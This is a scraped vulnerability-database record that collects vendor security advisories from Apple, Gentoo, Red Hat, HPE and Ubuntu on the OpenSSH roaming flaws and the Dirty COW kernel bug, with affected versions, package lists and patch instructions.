was addressed through improved content security policy\nchecks. \nCVE-ID\nCVE-2016-1764 : Matthew Bryan of the Uber Security Team (formerly of\nBishop Fox), Joe DeMesy and Shubham Shah of Bishop Fox\n\nNVIDIA Graphics Drivers\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1741 : Ian Beer of Google Project Zero\n\nOpenSSH\nAvailable for:  OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact:  Connecting to a server may leak sensitive user information,\nsuch as a client\u0027s private keys\nDescription:  Roaming, which was on by default in the OpenSSH client,\nexposed an information leak and a buffer overflow. These issues were\naddressed by disabling roaming in the client. \nCVE-ID\nCVE-2016-0777 : Qualys\nCVE-2016-0778 : Qualys\n\nOpenSSH\nAvailable for:  OS X Mavericks v10.9.5 and OS X Yosemite v10.10.5\nImpact:  Multiple vulnerabilities in LibreSSL\nDescription:  Multiple vulnerabilities existed in LibreSSL versions\nprior to 2.1.8. These were addressed by updating LibreSSL to version\n2.1.8. \nCVE-ID\nCVE-2015-5333 : Qualys\nCVE-2015-5334 : Qualys\n\nOpenSSL\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  A remote attacker may be able to cause a denial of service\nDescription:  A memory leak existed in OpenSSL versions prior to\n0.9.8zh. This issue was addressed by updating OpenSSL to version\n0.9.8zh. \nCVE-ID\nCVE-2015-3195\n\nPython\nAvailable for:  OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted .png file may lead to\narbitrary code execution\nDescription:  Multiple vulnerabilities existed in libpng versions\nprior to 1.6.20. These were addressed by updating libpng to version\n1.6.20. \nCVE-ID\nCVE-2014-9495\nCVE-2015-0973\nCVE-2015-8126 : Adam Mari\u0161\nCVE-2015-8472 : Adam Mari\u0161\n\nQuickTime\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted FlashPix Bitmap Image may\nlead to unexpected application termination or arbitrary code\nexecution\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1767 : Francis Provencher from COSIG\nCVE-2016-1768 : Francis Provencher from COSIG\n\nQuickTime\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted Photoshop document may lead\nto unexpected application termination or arbitrary code execution\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1769 : Francis Provencher from COSIG\n\nReminders\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Clicking a tel link can make a call without prompting the\nuser\nDescription:  A user was not prompted before invoking a call. This\nwas addressed through improved entitlement checks. \nCVE-ID\nCVE-2016-1770 : Guillaume Ross of Rapid7 and Laurent Chouinard of\nLaurent.ca\n\nRuby\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  A local attacker may be able to cause unexpected application\ntermination or arbitrary code execution\nDescription:  An unsafe tainted string usage vulnerability existed in\nversions prior to 2.0.0-p648. \nCVE-ID\nCVE-2015-7551\n\nSecurity\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  A local user may be able to check for the existence of\narbitrary files\nDescription:  A permissions issue existed in code signing tools. This\nwas addressed though additional ownership checks. \nCVE-ID\nCVE-2016-1773 : Mark Mentovai of Google Inc. \n\nSecurity\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted certificate may lead to\narbitrary code execution\nDescription:  A memory corruption issue existed in the ASN.1 decoder. \nThis issue was addressed through improved input validation. \nCVE-ID\nCVE-2016-1950 : Francis Gabriel of Quarkslab\n\nTcl\nAvailable for:  \nOS X Yosemite v10.10.5 and OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted .png file may lead to\narbitrary code execution\nDescription:  Multiple vulnerabilities existed in libpng versions\nprior to 1.6.20. These were addressed by removing libpng. \nCVE-ID\nCVE-2015-8126 : Adam Mari\u0161\n\nTrueTypeScaler\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted font file may lead to\narbitrary code execution\nDescription:  A memory corruption issue existed in the processing of\nfont files. This issue was addressed through improved input\nvalidation. \nCVE-ID\nCVE-2016-1775 : 0x1byte working with Trend Micro\u0027s Zero Day\nInitiative (ZDI)\n\nWi-Fi\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An attacker with a privileged network position may be able\nto execute arbitrary code\nDescription:  A frame validation and memory corruption issue existed\nfor a given ethertype. This issue was addressed through additional\nethertype validation and improved memory handling. \nCVE-ID\nCVE-2016-0801 : an anonymous researcher\nCVE-2016-0802 : an anonymous researcher\n\nOS X El Capitan 10.11.4 includes the security content of Safari 9.1. \nhttps://support.apple.com/kb/HT206171\n\nOS X El Capitan v10.11.4 and Security Update 2016-002 may be obtained\nfrom the Mac App Store or Apple\u0027s Software Downloads web site:\nhttp://www.apple.com/support/downloads/\n\nInformation will also be posted to the Apple Security Updates\nweb site: https://support.apple.com/kb/HT201222\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n-----BEGIN PGP SIGNATURE-----\nComment: GPGTools - https://gpgtools.org\n\niQIcBAEBCgAGBQJW8JQFAAoJEBcWfLTuOo7tZSYP/1bHFA1qemkD37uu7nYpk/q6\nARVsPgME1I1+5tOxX0TQJgzMBmdQsKYdsTiLpDk5HTuv+dAMsFfasaUItGk8Sz1w\nHiYjSfVsxL+Pjz3vK8/4/fsi2lX6472MElRw8gudITOhXtniGcKo/vuA5dB+vM3l\nJy1NLHHhZ6BD2t0bBmlz41mZMG3AMxal2wfqE+5LkjUwASzcvC/3B1sh7Fntwyau\n/71vIgMQ5AaETdgQJAuQivxPyTlFduBRgLjqvPiB9eSK4Ctu5t/hErFIrP2NiDCi\nUhfZC48XbiRjJfkUsUD/5TIKnI+jkZxOnch9ny32dw2kUIkbIAbqufTkzsMXOpng\nO+rI93Ni7nfzgI3EkI2bq+C+arOoRiveWuJvc3SMPD5RQHo4NCQVs0ekQJKNHF78\njuPnY29n8WMjwLS6Zfm+bH+n8ELIXrmmEscRztK2efa9S7vJe+AgIxx7JE/f8OHF\ni9K7UQBXFXcpMjXi1aTby/IUnpL5Ny4NVwYwIhctj0Mf6wTH7uf/FMWYIQOXcIfP\nIzo+GXxNeLd4H2ypZ+UpkZg/Sn2mtCd88wLc96+owlZPBlSqWl3X1wTlp8i5FP2X\nqlQ7RcTHJDv8jPT/MOfzxEK1n/azp45ahHA0o6nohUdxlA7PLci9vPiJxqKPo/0q\nVZmOKa8qMxB1L/JmdCqy\n=mZR+\n-----END PGP SIGNATURE-----\n. \n\nAffected packages\n=================\n\n    -------------------------------------------------------------------\n     Package              /     Vulnerable     /            Unaffected\n    -------------------------------------------------------------------\n  1  net-misc/openssh             \u003c 7.1_p2                  \u003e= 7.1_p2\n\nDescription\n===========\n\nQualys have reported two issues in the \"roaming\" code included in the\nOpenSSH client, which provides undocumented, experimental support for\nresuming SSH connections. Users with private keys that are not protected by a\npassphrase are advised to generate new keys if they have connected to\nan SSH server they don\u0027t fully trust. To do\nso, add \"UseRoaming no\" to the SSH client configuration, or specify \"-o\n\u0027UseRoaming no\u0027\" on the command line. \n\nResolution\n==========\n\nAll OpenSSH users should upgrade to the latest version:\n\n  # emerge --sync\n  # emerge --ask --oneshot --verbose \"\u003e=net-misc/openssh-7.1_p2\"\n\nReferences\n==========\n\n[ 1 ] CVE-2016-0777\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-0777\n[ 2 ] CVE-2016-0778\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-0778\n\nAvailability\n============\n\nThis GLSA and any updates to it are available for viewing at\nthe Gentoo Security Website:\n\n https://security.gentoo.org/glsa/201601-01\n\nConcerns?\n=========\n\nSecurity is a primary focus of Gentoo Linux and ensuring the\nconfidentiality and security of our users\u0027 machines is of utmost\nimportance to us. \n\nLicense\n=======\n\nCopyright 2016 Gentoo Foundation, Inc; referenced text\nbelongs to its owner(s). \n\nThe contents of this document are licensed under the\nCreative Commons - Attribution / Share Alike license. \n\nhttp://creativecommons.org/licenses/by-sa/2.5\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n=====================================================================\n                   Red Hat Security Advisory\n\nSynopsis:          Moderate: openssh security update\nAdvisory ID:       RHSA-2016:0043-01\nProduct:           Red Hat Enterprise Linux\nAdvisory URL:      https://rhn.redhat.com/errata/RHSA-2016-0043.html\nIssue date:        2016-01-14\nCVE Names:         CVE-2016-0777 CVE-2016-0778 \n=====================================================================\n\n1. Summary:\n\nUpdated openssh packages that fix two security issues are now available for\nRed Hat Enterprise Linux 7. \n\nRed Hat Product Security has rated this update as having Moderate security\nimpact. Common Vulnerability Scoring System (CVSS) base scores, which give\ndetailed severity ratings, are available for each vulnerability from the\nCVE links in the References section. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Client (v. 7) - x86_64\nRed Hat Enterprise Linux Client Optional (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64\nRed Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Workstation (v. 7) - x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 7) - x86_64\n\n3. Description:\n\nOpenSSH is OpenBSD\u0027s SSH (Secure Shell) protocol implementation. \nThese packages include the core files necessary for both the OpenSSH client\nand server. (CVE-2016-0778)\n\nRed Hat would like to thank Qualys for reporting these issues. \n\nAll openssh users are advised to upgrade to these updated packages, which\ncontain backported patches to correct these issues. After installing this\nupdate, the OpenSSH server daemon (sshd) will be restarted automatically. Solution:\n\nBefore applying this update, make sure all previously released errata\nrelevant to your system have been applied. \n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258\n\n5. Package List:\n\nRed Hat Enterprise Linux Client (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Client Optional (v. 7):\n\nx86_64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode Optional (v. 7):\n\nx86_64:\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Server (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nppc64:\nopenssh-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-server-6.6.1p1-23.el7_2.ppc64.rpm\n\nppc64le:\nopenssh-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-clients-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-server-6.6.1p1-23.el7_2.ppc64le.rpm\n\ns390x:\nopenssh-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-clients-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-server-6.6.1p1-23.el7_2.s390x.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 7):\n\nppc64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64.rpm\n\nppc64le:\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64le.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64le.rpm\n\ns390x:\nopenssh-debuginfo-6.6.1p1-23.el7_2.s390.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.s390x.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.s390.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.s390x.rpm\n\nx86_64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 7):\n\nx86_64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security.  Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2016-0777\nhttps://access.redhat.com/security/cve/CVE-2016-0778\nhttps://access.redhat.com/security/updates/classification/#moderate\nhttps://access.redhat.com/articles/2123781\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2016 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niD8DBQFWmAWQXlSAg2UNWIIRAh17AJ9SiT1MA1YtOA6ctMp9jIo4e9XrFwCgkbmo\nnXgYWs8cZcyoTRVoriTGHQo=\n=1sk9\n-----END PGP SIGNATURE-----\n\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n",
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var-201611-0386
Vulnerability from variot

Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW.". Linux kernel is prone to a local privilege-escalation vulnerability. Local attackers may exploit this issue to gain elevated privileges. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

===================================================================== Red Hat Security Advisory

Synopsis: Important: kernel-rt security update Advisory ID: RHSA-2016:2110-01 Product: Red Hat Enterprise Linux Advisory URL: https://rhn.redhat.com/errata/RHSA-2016-2110.html Issue date: 2016-10-26 CVE Names: CVE-2016-5195 CVE-2016-7039 =====================================================================

  1. Summary:

An update for kernel-rt is now available for Red Hat Enterprise Linux 7.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

  1. Relevant releases/architectures:

Red Hat Enterprise Linux Realtime (v. 7) - noarch, x86_64 Red Hat Enterprise Linux for Real Time for NFV (v. 7) - noarch, x86_64

  1. Description:

The kernel-rt packages provide the Real Time Linux Kernel, which enables fine-tuning for systems with extremely high determinism requirements. An unprivileged, local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system. (CVE-2016-5195, Important)

  • Linux kernel built with the 802.1Q/802.1ad VLAN(CONFIG_VLAN_8021Q) OR Virtual eXtensible Local Area Network(CONFIG_VXLAN) with Transparent Ethernet Bridging(TEB) GRO support, is vulnerable to a stack overflow issue. It could occur while receiving large packets via GRO path; As an unlimited recursion could unfold in both VLAN and TEB modules, leading to a stack corruption in the kernel. (CVE-2016-7039, Important)

Red Hat would like to thank Phil Oester for reporting CVE-2016-5195.

  1. Solution:

For details on how to apply this update, which includes the changes described in this advisory, refer to:

https://access.redhat.com/articles/11258

The system must be rebooted for this update to take effect.

  1. Bugs fixed (https://bugzilla.redhat.com/):

1375944 - CVE-2016-7039 kernel: remotely triggerable unbounded recursion in the vlan gro code leading to a kernel crash 1384344 - CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage

  1. Package List:

Red Hat Enterprise Linux for Real Time for NFV (v. 7):

Source: kernel-rt-3.10.0-327.36.3.rt56.238.el7.src.rpm

noarch: kernel-rt-doc-3.10.0-327.36.3.rt56.238.el7.noarch.rpm

x86_64: kernel-rt-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-debug-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-debug-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-debug-devel-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-debug-kvm-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-debug-kvm-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-debuginfo-common-x86_64-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-devel-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-kvm-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-kvm-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-trace-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-trace-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-trace-devel-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-trace-kvm-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-trace-kvm-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm

Red Hat Enterprise Linux Realtime (v. 7):

Source: kernel-rt-3.10.0-327.36.3.rt56.238.el7.src.rpm

noarch: kernel-rt-doc-3.10.0-327.36.3.rt56.238.el7.noarch.rpm

x86_64: kernel-rt-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-debug-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-debug-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-debug-devel-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-debuginfo-common-x86_64-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-devel-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-trace-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-trace-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm kernel-rt-trace-devel-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm

These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/

  1. References:

https://access.redhat.com/security/cve/CVE-2016-5195 https://access.redhat.com/security/cve/CVE-2016-7039 https://access.redhat.com/security/updates/classification/#important https://access.redhat.com/security/vulnerabilities/2706661

  1. Contact:

The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/

Copyright 2016 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1

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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256

Note: the current version of the following document is available here: https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbgn03722en_us

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: hpesbgn03722en_us Version: 1

HPESBGN03722 rev.1 - HPE Operations Agent, Local Escalation of Privilege

NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.

Release Date: 2017-03-30 Last Updated: 2017-03-30

Potential Security Impact: Local: Escalation of Privilege

Source: Hewlett Packard Enterprise, Product Security Response Team

VULNERABILITY SUMMARY A security vulnerability in Linux kernel, also known as "Dirty COW", has been addressed in HPE Operations Agent. This vulnerability could be exploited locally to allow escalation of privilege.

References:

  • CVE-2016-5195 - Linux kernel vulnerability, Dirty "COW"

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.

  • HPE Operations agent software - v11.11, v11.12, v11.13, v11.14

BACKGROUND

CVSS Base Metrics ================= Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector

CVE-2016-5195
  7.8 CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  7.2 (AV:L/AC:L/Au:N/C:C/I:C/A:C)

Information on CVSS is documented in
HPE Customer Notice HPSN-2008-002 here:

https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499

RESOLUTION

HPE has made the following mitigation steps available to resolve the vulnerability in the impacted versions of HPE Operations Agent. Login to the Operations Agent system with root privileges
2. Update the system using 'yum update kernel' command 3. Reboot the server using '/sbin/shutdown -r now' command

Please contact HPE Technical Support if any assistance is needed regarding the mitigation steps.

HISTORY Version:1 (rev.1) - 30 March 2017 Initial release

Third Party Security Patches: Third party security patches that are to be installed on systems running Hewlett Packard Enterprise (HPE) software products should be applied in accordance with the customer's patch management policy.

Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HPE Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hpe.com.

Report: To report a potential security vulnerability for any HPE supported product: Web form: https://www.hpe.com/info/report-security-vulnerability Email: security-alert@hpe.com

Subscribe: To initiate a subscription to receive future HPE Security Bulletin alerts via Email: http://www.hpe.com/support/Subscriber_Choice

Security Bulletin Archive: A list of recently released Security Bulletins is available here: http://www.hpe.com/support/Security_Bulletin_Archive

Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB.

3C = 3COM 3P = 3rd Party Software GN = HPE General Software HF = HPE Hardware and Firmware MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PV = ProCurve ST = Storage Software UX = HP-UX

Copyright 2016 Hewlett Packard Enterprise

Hewlett Packard Enterprise shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett Packard Enterprise and the names of Hewlett Packard Enterprise products referenced herein are trademarks of Hewlett Packard Enterprise in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners. ========================================================================== Ubuntu Security Notice USN-3104-1 October 20, 2016

linux vulnerability

A security issue affects these releases of Ubuntu and its derivatives:

  • Ubuntu 12.04 LTS

Summary:

The system could be made to run programs as an administrator.

Update instructions:

The problem can be corrected by updating your system to the following package versions:

Ubuntu 12.04 LTS: linux-image-3.2.0-113-generic 3.2.0-113.155 linux-image-3.2.0-113-generic-pae 3.2.0-113.155 linux-image-3.2.0-113-highbank 3.2.0-113.155 linux-image-3.2.0-113-omap 3.2.0-113.155 linux-image-3.2.0-113-powerpc-smp 3.2.0-113.155 linux-image-3.2.0-113-powerpc64-smp 3.2.0-113.155 linux-image-3.2.0-113-virtual 3.2.0-113.155

After a standard system update you need to reboot your computer to make all the necessary changes.

ATTENTION: Due to an unavoidable ABI change the kernel updates have been given a new version number, which requires you to recompile and reinstall all third party kernel modules you might have installed. Unless you manually uninstalled the standard kernel metapackages (e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual, linux-powerpc), a standard system upgrade will automatically perform this as well

Show details on source website


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    "data": "Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka \"Dirty COW.\". Linux kernel is prone to a local privilege-escalation vulnerability. \nLocal attackers may exploit this issue to gain elevated privileges. \n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n=====================================================================\n                   Red Hat Security Advisory\n\nSynopsis:          Important: kernel-rt security update\nAdvisory ID:       RHSA-2016:2110-01\nProduct:           Red Hat Enterprise Linux\nAdvisory URL:      https://rhn.redhat.com/errata/RHSA-2016-2110.html\nIssue date:        2016-10-26\nCVE Names:         CVE-2016-5195 CVE-2016-7039 \n=====================================================================\n\n1. Summary:\n\nAn update for kernel-rt is now available for Red Hat Enterprise Linux 7. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Realtime (v. 7) - noarch, x86_64\nRed Hat Enterprise Linux for Real Time for NFV (v. 7) - noarch, x86_64\n\n3. Description:\n\nThe kernel-rt packages provide the Real Time Linux Kernel, which enables\nfine-tuning for systems with extremely high determinism requirements. An unprivileged, local user could use this flaw to gain write\naccess to otherwise read-only memory mappings and thus increase their\nprivileges on the system. (CVE-2016-5195, Important)\n\n* Linux kernel built with the 802.1Q/802.1ad VLAN(CONFIG_VLAN_8021Q) OR\nVirtual eXtensible Local Area Network(CONFIG_VXLAN) with Transparent\nEthernet Bridging(TEB) GRO support, is vulnerable to a stack overflow\nissue. It could occur while receiving large packets via GRO path; As an\nunlimited recursion could unfold in both VLAN and TEB modules, leading to a\nstack corruption in the kernel. (CVE-2016-7039, Important)\n\nRed Hat would like to thank Phil Oester for reporting CVE-2016-5195. \n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nThe system must be rebooted for this update to take effect. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1375944 - CVE-2016-7039 kernel: remotely triggerable unbounded recursion in the vlan gro code leading to a kernel crash\n1384344 - CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE 